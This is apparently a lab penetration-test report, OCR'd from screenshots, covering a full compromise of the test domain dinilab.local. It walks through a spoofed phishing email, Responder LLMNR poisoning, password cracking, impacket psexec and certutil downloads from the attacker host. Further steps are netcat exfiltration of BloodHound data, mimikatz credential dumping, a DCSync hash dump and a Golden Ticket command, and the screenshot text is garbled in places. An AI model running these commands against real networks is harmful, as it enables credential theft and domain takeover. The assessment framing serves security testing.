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Executive Summary

Aninternal security assessment was conducted against the Active Directory environment of the dinilab.local domain
to evaluate the organization’s resilience against credential theft, lateral movement, and privilege escalation
attacks.

During the assessment, a full domain compromise was achieved starting from a simulated phishing scenario. By
leveraging Link-Local Multicast Name Resolution (LLMNR) poisoning, NTLMv2 credentials were captured and
successfully cracked offline. The recovered domain user credentials allowed authenticated access toa domain-
joined workstation.

From this initial foothold, SYSTEM-level privileges were obtained on the compromised host. Active Directory
enumeration was performed using SharpHound and BloodHound, revealing privilege relationships and attack paths
within the domain. Further credential extraction from LSASS memory exposed Domain Administrator credentialsin
plaintext.

Using these credentials, successful authentication to the Domain Controller was achieved. A directory replication
(DCSync) attack was performed to extract all domain password hashes, including the krbtgt account. Finally, a
Golden Ticket was generated to demonstrate long-term persistence within the domain.

This assessment demonstrates that a single compromised workstation user could lead to complete Active Directory
takeover.

The impactincludes:

* FullDomain Administrator compromise

* Extraction of all domain user password hashes

* Ability to impersonate any domain user

* Long-term persistence via forged Kerberos tickets

* Potential for ransomware deployment or data exfiltration

The findings indicate significant risk within the internal network, particularly due to enabled LLMNR, insufficient
credential protection, and excessive privilege exposure. Immediate remediation is recommended to reduce the
likelihood of full domain compromise in the event of credential theft.
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Scope & Methodology

Scope:
The internal security assessment was conducted against the following environment:

* Domain: dinilab.local

* Assessment Type: Simulated Internal Penetration Test

* Objective: Evaluate the security posture of the Active Directory environment against credential theft, lateral
movement, privilege escalation, and domain compromise scenarios.

The assessment assumed an attacker with access to the internal network, simulating a realistic post-phishing or
insider threat scenario.

Methodology:

The assessment followed a structured attack lifecycle aligned with industry-standard penetration testing
methodologies and MITRE ATT&CK techniques.

1. Initial Access:
* LLMNR poisoning was performed to capture NTLMv2 authentication attempts.
* Captured hashes were subjected to offline password cracking.

2. Lateral Movement :
* Recovered credentials were used to authenticate to a domain-joined workstation.
* SMB-based remote execution resulted in SYSTEM-level access.

3. Active Directory Enumeration:
* SharpHound was executed to collect domain relationship data.
* BloodHound was used to analyze privilege paths and identify escalation routes.

4. Credential Access:
* LSASS process memory was dumped to extract cached credentials.
e Domain Administrator credentials were recovered.

5. Domain Compromise:

* Successful authentication to the Domain Controller was achieved.

* ADCSync attack was performed to extract domain credential hashes.
* A Golden Ticket was generated to demonstrate persistence capability.

This methodology simulated a realistic adversary operating within the internal network.
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Report

To obtainaninitial foothold, an LLMNR poisoning attack was conducted in a controlled simulation environment. A
phishing email was crafted and sent to the target system to induce the user to access a malicious network share.
When the user clicked the embedded link, it attempted to access a non-existent shared resource. If the system failed
to resolve the host via DNS, it automatically fell back to Link-Local Multicast Name Resolution (LLMNR) to resolve
the hostname, enabling credential capture.

v @ EmailTempiate X == Df = a X

& (O A Notsecure 192.168.56.1/mail.htm A =

Email Details

From: system-admin@dinilab local
To: client-1@dinilab local
Subject: Action Required: User Verification

Hello client-1

As part of our ongoing security measures, we are conducting a network-wide
credential verification process

Please venfy your account credentials by confirming that you can successfully
log in to your system account and access your assigned resources. If you

experience any issues, report them to the IT Helpdesk immediately

Verification link : Verify Now

Best regards
System Admin

12245 PM

-h — , . ENG
R Type here to search S W paas M

u l" HIH

The phishing email leveraged a font manipulation technique to substitute a lowercase “l” in place of an uppercase
withinthe sender’s address, creating the appearance of a legitimate email address and increasing the likelihood of
user trust.
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root@keli: homefesistdini
root@kalu home/esistdini

/heme fesistdind
vhaxnets -ud

> 98c1D3b8¢d9b717b52576827102940e4£17A19A
=> DE199300 echhnpsavpl3usvyg4jryriszdmazzeg

+] Poisoners
LR
NBT-N5
MDNS
NS
DHCP
DHCPVS

erver
SMTP server

force Basic Auth

To successfully perform LLMNR poisoning, the attacker must be present on the same local network segment as the
target system.

The Responder tool was utilized to intercept and capture NTLM authentication attempts, including the victim’s
username and associated NTLMv2 hash.

File Machine View Input Devices Help

root@kall: fhomefesistdin root@kali: fhome/fesistdini 7 * NN = o x
L] o
Don't Respond To Names 1§ 3 a = 8 o o
Don‘t Respond To MDNS J Thek 15 00 back (Al LaR arrow) hedd £ 22e history

TTL for polsoned r
+] Current Sessi
Responder Machi

Responder Domain Name
der DCE-RPC Port

n: Responder 3.2.2,0
i Lourent Gaffie, <l\gaffie@secorizon.com>

tening for events.

File not found

It may have been moved, edited, or deleted.

When the victim clicks the phishing link, it attempts to access a non-existent network share. As a result, the system
initiates an authentication request that can be intercepted by the attacker.

Using the Responder tool, the victim's username and NTLMv2-SSP hash were captured. The captured hash was then
saved to a file for subsequent offline password cracking.
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root@kali: /home/esistdini

root@kali: /home/esistdini root@kali: /home/esistdini

/home/esistdini

c1-1lmnr.log --wordlist=pa
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123# (client-1)
1¢ 0:00:00:00 DONE (2026-02-24 13:44) 1.190g/s 1196p/s 1196¢c/s 1196C/s 123456..cassandra
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

/home/esistdini

The captured NTLMv2 hash was subjected to offline password cracking using John the Ripper with a custom wordlist.
Upon successfully recovering the plaintext password, the credentials were used to authenticate to the target system.

root@kali: /home/esistdini root@kali: /home/esistdini

/home/esistdini
¢ xec dinilab/client-1:Password123#3192.168.56.12
Impacket v0.14.0.deve - Copyright Fortra, LLC and its affiliated companies

[#] Requesting shares on 192.168.56.12

[*] Found writable share ADMIN$

[*] uploading file FMsKnfxK.exe

[*] opening SVCManager on 192.168.56.12

[*] creating service HeOw on 192.168.56.12

[*] starting service HeOw

[1] Press help for extra shell commands

Microsoft Windows [Version 10.0.19042.508]

(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> whoami /groups

GROUP INFORMATION

Attributes

BUILTIN\Administrators ] -32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known grou Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known grou Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label 6384

C:\Windows\system32> ]




Remote command execution was performed over SMB using valid credentials, resulting in successful authentication
tothe target system.
Upon execution, SYSTEM-level privileges were obtained on the compromised host.

SharpHound.exe SharpHound.exe.co SharpHound.pdb SharpHound.ps1
nfig

root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_windows_x86

root@kali: /home/esistdini root@kali: /nome/esistdini/Documents/Sharp

/home/esistdini/Documents/SharpHound _v2.9.0_windows_x86

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

With SYSTEM-level access established, SharpHound was executed to collect Active Directory enumeration data for
further analysis in BloodHound. This data was used to identify potential attack paths and determine the shortest
route to Domain Controller compromise.

To transfer the SharpHound executable to the compromised host, a temporary web server was hosted on the
attacker machine using Python, allowing the file to be downloaded onto the target system.
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\Users\client-1\Documents>
:\Users\client-1\Documents>
:\Users\client-1\Documents>
:\Users\client-1\Documents> certutil -urlcache http://192.168.56.1/SharpHound.exe SH.exe

*%% OFFLINE %%

ertUtil: -URLCache command completed successfully.

:\Users\client-1\Documents> |

The SharpHound executable was downloaded onto the compromised host using the built-in certutil utility to retrieve
the file from the attacker-controlled web server.

€ \Users\c t-1\Documents> SH. oxe --Collectionmethods all
2020-02-24 . 6: 00| INFORMATION | This wersion of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-02-24 : ] ON | Sha d Version: 2.9.0.0
2026-02- H T ! Common Version: 4.5.2.0
8 : 00| INFORMATION |Resolved Collection Methods: Group, Localddwin, GPOLocalGroup, Session, Loggedon, Trusts, ACL, Container, R0P ectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, Cert
, WebClientService, SwbInfo, NTLMRegistry
26:90| INFORMATION | Initializing SharpHound at 2:12 PN on 2/24/2026
00| INFORMATION | Resolved current domain to dinilab.local
5:00| INFORMATION | Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, ROP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices
SmbInfo, NTLMRegistry
.2005158-28: 00| INFORMATION | Beginning LDAP search for dimilab.local
.2003188-08: 00| INFORMATION ] Collecting AdwinSOHolder data for dinilab.local
14974166-26: 00| INFORMATION | AdwinSDHo lder ACL hash FA1766AFIF96270C40D4AIAASBOEBIBEAA71DD4 calculated for dinilab.locals
+7794105-08: 00| INFORMATLON | [ ComnonLib ACLPr ing GUID Cache for DINILAB,
2 25 00| INFORMATION | [ b ] ag GUID Cache for DINILAS
2026-82 8114 00| TNFORMATTON | { h ilding GUID Cache for DINILAB, L
2026-02 A 3100 | INFORMATT ing GUID Cache for DINILAB
-9970666-28 : 00| INFORMATION " r GUID Cache for DINILAB.L
5970666-26 00| INFORMATT CLProc JBul GUID Cache for DINILAR
+1383177-08: 00 INFORMATT ib AC i GUID Cache for DINILAB,
8258-28:00 | INFORMATT onLib ACLPT ing GUID Cache for DINILAB.L
00| INFORMATT i c) GUTD Cache for DINTLAB
00| INFORMAT ib A GUID Cache for DINILAB,
00| INFORMATION [ b AC 2 GUID Cacha for DINILAB
00| INFORMATION | [ ComnonL ib J GUID Cache for DINILAB
300 | INFORMATION | Comnonl. ik r ilding GUID Cache for DINILAB
0| INFORMATION | { nLib g GUID Cache for
00| INFORMATT 1 1ing GUID Cache for D
6045501 -8+ 00| INFORMATT b ACLPY ng GUID Cache
9360458-00:00] INFORMATT nkib ACLPr i CUID Cache for
579616-08: 00| INFORMATT 10 Cache for D
957 00| THFORMATTON | { Comne Cache for
GUID Cache for
2 GUID Cache for
00| INFORMAT I < ib Aci ilding GUID Cache for DINILAB
00| THFORMAT T0# nLih ilding GUID Cache for DINTLAB
00| INFORMATION | [ GUID Cache DINILAB,
00| INFORMATION] { i J g GUID Cache INILAE .
00 INFORMATI I b AC r OUID Cache DINTLAR
0: 00 | INFORMATTON | [ ki ild Cache f
00| INFORMATTON " r Cache
00] INFORMATION | [
06 : 00| INFORMATT: r ID Cache
3100 | INFORMATT Y Cache for DINILAB,
08| INFORMATION D Cache for DINILAB
00| THNFORMATTON | { c JBui GUID Cache for DINILAB
00| INFORMATT n roc]Bui GUID Cache for
00] INFORMA' onLi g GUID Cache for
00| INFORMA omne b AC i 1 GUID Cache for D
00] TNFORMAT T GUID Cache f
00| INFORMATION onLib Proc ] GUID Cache £

SharpHound was executed on the compromised host to collect Active Directory enumeration data required fo
comprehensive domain mapping and privilege relationship analysis.




root@kali: /home/esistdini Q

root@kali: /Thome/esistdini root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_win...

2026-02-24T714:12:20.9674606-08:00| INFORMATION | Producer has finished, closing LDAP channel
2026-02-24T14:12:20.9847106-08:00| INFORMATION| LDAP channel closed, waiting for consumers

2026-02-24T14:12:38.2798756-08:00 | INFORMATION|Status: 268 objects finished (+268 8.933333)/s -- Using 66 MB RAM
2026-02-24T714:12:41.4190142-08:00| INFORMATION | Consumers finished, closing output channel
2026-02-24T14:12:41.4969848-08:00| INFORMATION |Output channel closed, waiting for output task to complete
Closing writers
2026-02-24T14:12:42.2627893-08:00| INFORMATION |Status: 303 objects finished (+35 8.911765)/s -- Using 53 MB RAM
2026-02-24T14:12:42.2627893-08:00 | INFORMATION | Enumeration finished in 00:00:34.1018461
2026-02-24T714:12:42.5443786-08:00| INFORMATION|Saving cache with stats: 18 ID to type mappings.

2 name to SID mappings.

3 machine sid mappings.

4 sid to domain mappings.

0 global catalog mappings.

2026-02-24T14:12:42.6855613-08:00| INFORMATION | SharpHound Enumeration Completed at 2:12 PM on 2/24/2026! Happy Graphing!

C:\Users\client-1\Documents>
C:\Users\client-1\Documents> dir
Volume in drive C has no label.
Volume Serial Number is 7020-3278

Directory of C:\Users\client-1\Documents

02/24/2026 02:12 PM <DIR>

02/24/2026 ©2:12 PM <DIR> v

02/24/2026 ©2:12 PM 29,737

02/24/2026 02:11 PM 1,318,912 SH.exe

02/24/2026 ©2:12 PM 1,784 ZWNKOWY4ZDMtMDNiINSQOY2JjLWFmM2ItOWMSNTQyODUSZTM1.bin
3 File(s) 1,350,433 bytes
2 pir(s) 22,797,537,280 bytes free

C:\Users\client-1\Documents> |

The collected enumeration data was generated and stored in a compressed ZIP archive for subsequent analysisin
BloodHound.
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root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_windows_x86 Q
root@kali: /home/esistdini root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_win...

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86
/usr/share/windows-resources/binaries/nc.exe .

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86

nc.exe SharpHound.exe SharpHound.exe.config SharpHound.pdb SharpHound.psl

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

A temporary Python web server was started on the attacker machine to transfer the Netcat Windows binary to the
compromised host.

This binary was used to facilitate the secure transfer of collected data from the target system back to the attacker
machine.
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root@kali: /home/esistdini Q

root@kali: /home/esistdini root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_win...

2026-02-24T14:12:41.4190142-08:00| INFORMATION | Consumers finished, closing output channel
2026-02-24T14:12:41.4969848-08:00| INFORMATION|Output channel closed, waiting for output task to complete
Closing writers

2026-02-24T14:12:42.2627893-08:00| INFORMATION |Status: 303 objects finished (+35 8.911765)/s -- Using 53 MB RAM
2026-02-24T14:12:42.2627893-08:00| INFORMATION | Enumeration finished in 00:00:34.1018461
2026-02-24T14:12:42.5443786-08:00| INFORMATION|Saving cache with stats: 18 ID to type mappings.

2 name to SID mappings.

3 machine sid mappings.

4 sid to domain mappings.

@ global catalog mappings.

2026-02-24T14:12:42.6855613-08:00| INFORMATION | SharpHound Enumeration Completed at 2:12 PM on 2/24/2026! Happy Graphing!

C:\Users\client-1\Documents>
C:\Users\client-1\Documents> dir
Volume in drive C has no label.

‘ Volume Serial Number is 7020-327B

Directory of C:\Users\client-1\Documents

02/24/2026 ©2:12 PM <DIR>

02/24/2026 ©02:12 PM <DIR> oo

02/24/2026 ©2:12 PM 29,737 20260224141218_BloodHound.zip

02/24/2026 02:11 PM 1,318,912 SH.exe

02/24/2026 02:12 PM 1,784 ZWNKOWY4ZDMtMDNiNSQQY2JjLWFmM2ItOWMSNTQYODUSZTM1.bin
3 File(s) 1,350,433 bytes
2 pir(s) 22,797,537,280 bytes free

C:\Users\client-1\Documents> certutil -urlcache -f http://192.168.56.1/nc.exe nc.exe
*%%%x Online %%
CertUtil: -URLCache command completed successfully.

C:\Users\client-1\Documents> nc.exe 192.168.56.1 4444 < 20260224141218_BloodHound.zipl

After downloading the Netcat binary, a connection was established to the attacker machine, and the collected data
file was transmitted from the compromised host.
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root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_windows_x86 Q

root@kali: /home/esistdini root@kali: /home/esistdini/Documents/SharpHound_v2.9.0_win...

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86
/usr/share/windows-resources/binaries/nc.exe .

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86

nc.exe SharpHound.exe SharpHound.exe.config SharpHound.pdb SharpHound.psl

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.56.12 - - [24/Feb/2026 14:15:30] "GET /nc.exe HTTP/1.1" 200 -
192.168.56.12 - - [24/Feb/2026 14:15:30] "GET /nc.exe HTTP/1.1" 200 -
e

Keyboard interrupt received, exiting.

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86
‘ 4444 > sharphoundfile.zip
listening on [any] 4444 ...

Onthe attacker machine, a Netcat listener was initiated to receive the transmitted file from the compromised host.
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root@Kkali: /home/esistdini Q

root@kali: /home/esistdini root@kali: /home/esistdini/Documents/... root@kali: /lhome/esistdini

/home/esistdini

Directories in use:

home: /usr/share/neo4j

config: /usr/share/neo4j/conf

logs: /etc/neokj/logs

plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import

data: /etc/neo4j/data

certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run

Starting Neo4j.

2026-02-24 08:49:18.968+0000 INFO Starting...

2026-02-24 08:49:20.325+0000 INFO This instance is ServerId{165c9013} (165c9013-2773-4571-a4d5-0254047 fd4ef)

2026-02-24 08:49:24.012+0000 INFO

2026-02-24 08:49:27.498+0000 INFO Performing postInitialization step for component ‘security-users' with version 3 and stat
us CURRENT

2026-02-24 08:49:27.499+0000 INFO Updating the initial password in component 'security-users'
2026-02-24 08:49:36.982+0000 INFO Bolt enabled on localhost:7687.

2026-02-24 08:49:39.524+0000 INFO Remote interface available at http://localhost:7474/

2026-02-24 08:49:39.539+0000 INFO 1id: 2CF8176E71BF4C512FCF147AB6866COB35C62F8B3608D81DB668114681D280C3
2026-02-24 08:49:39.540+0000 INFO name: system

2026-02-24 08:49:39.540+0000 INFO creationDate: 2026-02-21T16:55:41.208Z

2026-02-24 08:49:39.540+0000 INFO Started.

After receiving the collected data archive, it was imported into BloodHound to analyze the Active Directory
environment and identify the most efficient path to Domain Controller compromise.

BloodHound requires the Neo4j graph database service to be running, as it stores and processes the ingested Active
Directory relationship data.
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root@kali: flhome/esistdini

{

|

[sudo] password for esistdini:
/home/esistdini

i

Starting neo4j

Neo4j is running at pid 87030

Bloodhound will start

root@Kkali: /home/esistdini

root@kali: /home/esistdini/... root@kali: /home/esistdini root@kali: /home/esistdini

IMPORTANT: It will take time, please wait...

{"time":"2026-02-24T14:

"}

{"time":"2026-02-24T14:

{"time":"2026-02-24T14
: neo4j"}

{"time":"2026-02-24T14:
{"time":"2026-02-24T14:
{"time":"2026-02-24T14:

19:58.363532357+05

19:58.364032562+05

119:59.023417416+05

19:59.023519334+05
19:59.023764516+05
19:59.023916048+05

130", "level":"INFO", "message”: "Reading configuration found at /etc/bhapi/bhapi.json

130", "level”: "INFO", "message”: "Logging configured”,"log_level":"INFO"}
130", "level":"INFO", "message”:"No database driver has been set for migration, using

130", "level": "INFO", "message”:"Connecting to graph using Neo4j"}
130", "level™: "INFO", "message”: "Starting daemon Tools API"}
130", "level":"INFO", "message” : "DogTags Configuration”,"namespace”:"dogtags”,"flags"”

:{"auth.environment_targeted_access_control":false,"privilege_zones.label_limit":0,"privilege_zones.multi_tier_analysis":fal
se,"privilege_zones.tier_limit":1}}
{"time":"2026-02-24T714:19:59.467100782+05:30", "level": "INFO", "message”:"No new SQL migrations to run"}

Once the Neo4j service was started, the BloodHound application was launched to begin the data ingestion and Active
Directory analysis process.

& o Toow doowe L L O |

— %

amé&

Upload Data to Start Mapping Your Environment

Eaclly uplosd data by dragaing and dropping filos anywhere in the
Interface, or use the Upload bution In e main navigation

If you're just exploring, you can use the sample dat 110 get a quick
sense of how the platform works

To get startad with collecting data, qow

If you're having any difficulty, we have a Getting Start

Q

Click here or drag and drop to upload
JSON or zip/compressed JSON files

All Tiles have successfully been uploaded for ingest

View Filo Ingest History

shaptoundfile zp 100%

Upon accessing the BloodHound interface, the application prompts for data ingestion to begin mapping the Active
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Directory environment.
The ZIP archive generated by SharpHound on the compromised host was uploaded into BloodHound for analysis.

— Apps  Places Q% NN & ow tToow doowe A 2 U |

BloodHound
(8]
Zone Builder

Zones Labels History

Use Privilege Zones in segment and organize Objects hased on sensitivity and access lavel

N
Learn about s¢1

Zone Details

TIERZERO | DINILARLOCAL » |
®© Tier Zero

Rules Total Rules: 42 Objects Total Objects: 25 Description:

Al Rules A @ Computer - Tier Zero

Total Custom: 0 ~ O container Commtec By ERRHiou

Last Updated By: BloodHound

t : 42 ~ \
Default Rules Total Default: 4 © pomain Last Updated: 2026/02/21

Total Disabled: 0 ~ @ 6P0
@ Group
0 ou
© Users
ADMINISTRATOR@DINILAS.LOCAL

KRBTGT@DINILAB.LOCAL

After the data upload, BloodHound begins ingesting and processing the collected information. Once ingestionis
complete, it presents a graphical representation of the Active Directory environment and the relationships identified
during enumeration.

— Apps  Places Q% @2nn & o Toow doowe v

BloodHound

(8

- Q SEARCH @ PATHFINDING «/» CYPHER None Selected

Select 3 node to view the secociated information

® ) CLENT-1@DINILAB.LOCAL

e ® 0 DOMAIN ADMINS@DINLAB LOCAL

i

10 Hide Labels Layout Export Search




Using the “Explore” feature in BloodHound, the shortest path to Domain Admin privileges was identified.

Since access had been obtained on the client-1 system, it was selected as the source node, with the Domain Admin
group designated as the target node.

BloodHound provided a detailed privilege escalation path outlining the relationships and misconfigurations that
could be leveraged to obtain Domain Admin access from the client-1account.

C:\Users\client-1\Documents> whoami
nt authority\system

C:\Users\client-1\Documents>

C:\Users\client-1\Documents> certutil -urlcache -f http://192.168.56.1/mimikatz,.exe mimikatz.exe
wxkkx  Online ks

CertUtil: -URLCache command completed successfully.

C:\Users\client-1\Documents> ./mimikatz.exe
' 1s not recognized as an internal or external command,
operable program or batch file.

C:\Users\client-1\Documents> mimikatz.exe

RERAA. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
M " ##. "A La Vie, A L'Amour” - (oe.eo)
, ## / \ ## /%ex Benjamin DELPY ‘gentilkiwi® ( benjaminggentilkiwi.com )
#r \ / 44 > https://blog.gentilkiwi.com/mimikatz
L HE v HE' Vincent LE TOUX ( vincent.letouxagmail.com )
©'nanan' > https://pingcastle.com / https://mysmartlogon.com *xx/

privilege::debug
mimikatz # Privilege '20" OK

sekurlsa: :logonpasswords
mimikatz #

Mimikatz was transferred to the compromised client-1 system to enumerate active logon sessions and extract
credentials stored within the LSASS process memory.
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Authentication Id : @ ; 1030838 (00000000:000fbab6)
Session : CachedInteractive from 1
User Name : Administrator
Domain : DINILAB
Logon Server : DC
Logon Time : 2/24/2026 1:59:08 PM
SID : S-1-5-21-3065160027-28239225-3958103598-500
msv :
[00000003] Primary
Username : Administrator
Domain : DINILAB
NTLM : b490b475e987909ae9bd83a65aa94665
SHA1 : 4e9dfaa962ae8e0614bff9c892a036969a8feddd
DPAPI : 6bf29b483319db6573fc40dfbcb0039b
tspkg :
wdigest :
* Username : Administrator
* Domain : DINILAB
* Password : (null)
kerberos :
* Username : Administrator
* Domain : DINILAB.LOCAL
ROV Password123$
ssp :
credman :
cloudap :

Authentication Id : @ ; 201044 (00000000:00031154)
Session : Interactive from 1

Credential extraction from the LSASS process memory revealed the Domain Administrator password in plaintext.
These credentials were subsequently used to authenticate to the Domain Controller.
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root@kali: /home/es... root@kali: /home/es... root@kali: /home/es... root@kali: /home/es... root@kali: /usr/shar...

/home/esistdini/Documents/SharpHound_v2.9.0_windows_x86
dinilab/Administratorg192.168.56.10 -h es :b490b475e987909ae9bd83a65aa94665
Impacket v@0.14.0.dev@ - Copyright Fortra, LLC and its affiliated companies

Requesting shares on 192.168.56.10
Found writable share ADMINS
Uploading file HDToZLYy.exe
Opening SVCManager on 192.168.56.10
Creating service Dxec on 192.168.56.10
Starting service Dxec
Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> whoami /groups

GROUP INFORMATION

Attributes

BUILTIN\Administrators

Everyone Well-known grou Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known grou Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label

C:\Windows\system32> [

Successful authentication to the Domain Controller was achieved using the recovered Domain Administrator
credentials.
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/home/esistdini/Documents/SharpHound_v2.9.@_windows_x86
t | dinilab/Administrator@l92.168.56.10 ishes :b490b475€987909%ae9bd83a65aa94665
Impacket v0.14.0.dev® - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:imhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b400b4s75e987909ae9bd83a65aa94665: 1 ¢
Guest:501:aad3b435b51404eeaad3b4s35b51404ee:31d6¢cfe0d16ae931b73¢59d7e0c089¢0: ::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3f45df5087c5fc0d72ba5f5243e77009:::
dinilab.locall\client-1:1104:aad3b435b51404eeaad3b435b51404ee:7a1762d79c21e263eae@B80fadbb03429: ::
dinilab.local\client-2:1105:aad3b435b51404eeaad3bs35b51404¢ee:ccB147F790c91200a3e02c2ebc65f9fb:
dinilab.local\legacy.user:1108:aad3b435b51404eeaad3b435b51404ee:539259e25a0361ec4a227dd9894719f6:::
dinilab.local\svc_backup:1109:aad3b435b51404eeaad3b435b51404ee:d47a1aab4s27618b2c8260d6080ch4aba:::
DC$:1000:aad3bs35b51404eeaad3b435b51404ee:3df0c5e720eedbebbed09bbecblda3fa:
DESKTOP-TQIU44A%:1110:aad3b435b51404eeaad3b435b51404ee:294189dfd50beSe80dfeS5eee64611dd6:::
DESKTOP-7Q11G4K$:1111:aad3b435b51404eeaad3b435b51404ee:8bda7a5f1f0abdesbf350dbabecedfaf:::
[#] Kerberos keys grabbed
Administrator:aes256-cts-hmac-shal-96:b0f73ed5437c0fbd643d44chb74311c2e1f7087ea7dc4eech839735ae019246¢9
Administrator:aes128-cts-hmac-shal-96:1bb1790cfced562f8783dd0119de31c0
Administrator:des-cbc-mdS5:343eeac7e316738fF
krbtgt:aes256-cts-hmac-shal-96:b198ab11dedfbb8449214e6a2bcd2bb05b1871f0c30f9c4cS5d33bcebc6f9aesR
krbtgt:aes128-cts-hmac-shal-96:84bb81154bcf85a94d9ac252977e85¢ce
krbtgt:des-cbc-md5:0dd58f865889ef10
dinilab.local\client-1:aes256-cts-hmac-shal-96:747¢c9d4636d943330e9fc12109d6640chb9f9c7490f8d1e24d837b6f1537¢8b87
.local\client-1:aes128-cts-hmac-shal-96:774524fel10d43fb32a5050c19868a706
.local\client-1:des-cbc-md5:e04adc9elcfd8994
.local\client-2:aes256-cts-hmac-shal-96:595ae606939d2dd238f3ad9489856b073d8beelabd6887ded621e9fc34ch33ch
.local\client-2:aes128-cts-hmac-shal-96:a9c9b35ee318d1f1b@d2494bdbe18573
.local\client-2:des-cbc-md5:57eaal5d98ec835d
.local\legacy.user:aes256-cts-hmac-shal-96:666e668e6chce2ad1iffe319ace2ec9e9fb5afo4ccdaB5c81dd669e179302d583
.local\legacy.user:aes128-cts-hmac-shal-96:47d53495b0b%9a5046a280b2ed39455ed
.local\legacy.user:des-cbc-md5:31570491bf7032c7
.local\svc_backup:aes256-cts-hmac-shal-96:4511e209eaf6649c11172a113dfd122f95769e505300dead f43068ea351578¢€6
.local\svc_backup:aes128-cts-hmac-shal-96:1ab6c7ff0341259fa7eda555d964e4bf
.local\svc_backup:des-cbc-md5:766207a17afblaf2
DCS:aes256-cts-hmac-shal-96:ad66a060b1598139cfed28f1e2b74ebb9896d308c6f81acf3556595be3dbd724
DC$:aes128-cts-hmac-shal-96:274b25a920e76efc242b36b567cfa995
DC$:des-cbc-md5:eaakd3ef198c0483
DESKTOP-TQIU&L4AS:aes256-cts-hmac-shal-96:4153948c%e2dfb36e54fa7386233d8baebc92e36fdd103f3910d69d326372bod
DESKTOP-TQIU44A%:aes128-cts-hmac-shal-96:d65b2bed3b265¢c414b821d900e86072a
DESKTOP-TQIU44AS:des-cbc-md5:512fd6d6463b5be3
DESKTOP-7Q11G4K$:aes256-cts-hmac-shal-96:5b59¢83284F7907072fb29691a746c6dfca33f8f580de9sds417fofed8eBezbll
DESKTOP-7Q11G4K$:aes128-cts-hmac-shal-96:25425d1041802d57f8f007f1bo4dfba3
DESKTOP-7Q11G4K$:des-cbc-md5:dffd49bodof23b3e
[*] Cleaning up...

With SYSTEM-level privileges obtained on the Domain Controller, the next step was to extract domain user password
hashes and authentication secrets from Active Directory.

This was accomplished using the impacket-secretsdump utility to perform a directory replication (DCSync)
operation.
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2 0Iris) 29,444,/20,/84 pytes tree

C:\Users\Administrator\Documents> mimikatz.exe

JmRae.  mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
#8. "A La vie, A L'Amour” - (oe.eo)
/ \ &8 /x%% Benjamin DELPY "gentilkiwi  ( benjaminggentilkiwi.com )
## \ /[ #8 > https://blog.gentilkiwi.com/mimikatz
‘#n v B’ Vincent LE TOUX ( vincent.letouxggmail.com )
‘Russe’ > https://pingcastle.com / https://mysmartlogon.com ##/

mimikatz #

mimikatz &
privilege: :debug
mimikatz # Privilege '20' OK

kerberos: :golden /user:esistdini /domain:dinilab.local /id:500 /sid:S-1-5-21-3065160027-28239225-3958103598-500 /rc4:b490b475e987909ae9bd83a65aa94665 /ticket:admin.kirbi
mimikatz # User : esistdini

: dinilab.local (DINILAB)

i 5-1-5-21-3065160027-28239225-3958103598-500

-1

¢ *513 512 520 518 519

: b49ob475€987909ae9bd83a652a94665 - rck_hmac_nt

: 2/24/2026 3:09:38 PM ; 2/22/2036 3:89:38 PM ; 2/22/2036 3:89:

¢ admin. kirbi

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Final Ticket Saved to file !
mimikatz #

exit
mimikatz & Bye!

Mimikatz was executed on the Domain Controller to generate a Golden Ticket for persistence.

A custom username (esistdini) was specified during ticket creation, and the forged ticket was configured with an
extended validity period of ten years.

The generated ticket was exported and saved with a .kirbi extension for subsequent use in Pass-the-Ticket
operations.
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E BY mimikatz 2.2.0 x64 (oe.e0)

Windows 10 Enterprise Evaluatic
Windows License valid for 86 da
Build 15041.vb_release.191206-141

ENG _52.13P.M. il

O Type here to search 3t o A~ G B2 )

After returning to the client-1 system, a Pass-the-Ticket (PTT) attack was performed by injecting the previously
generated Golden Ticket into the current session.
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' = :
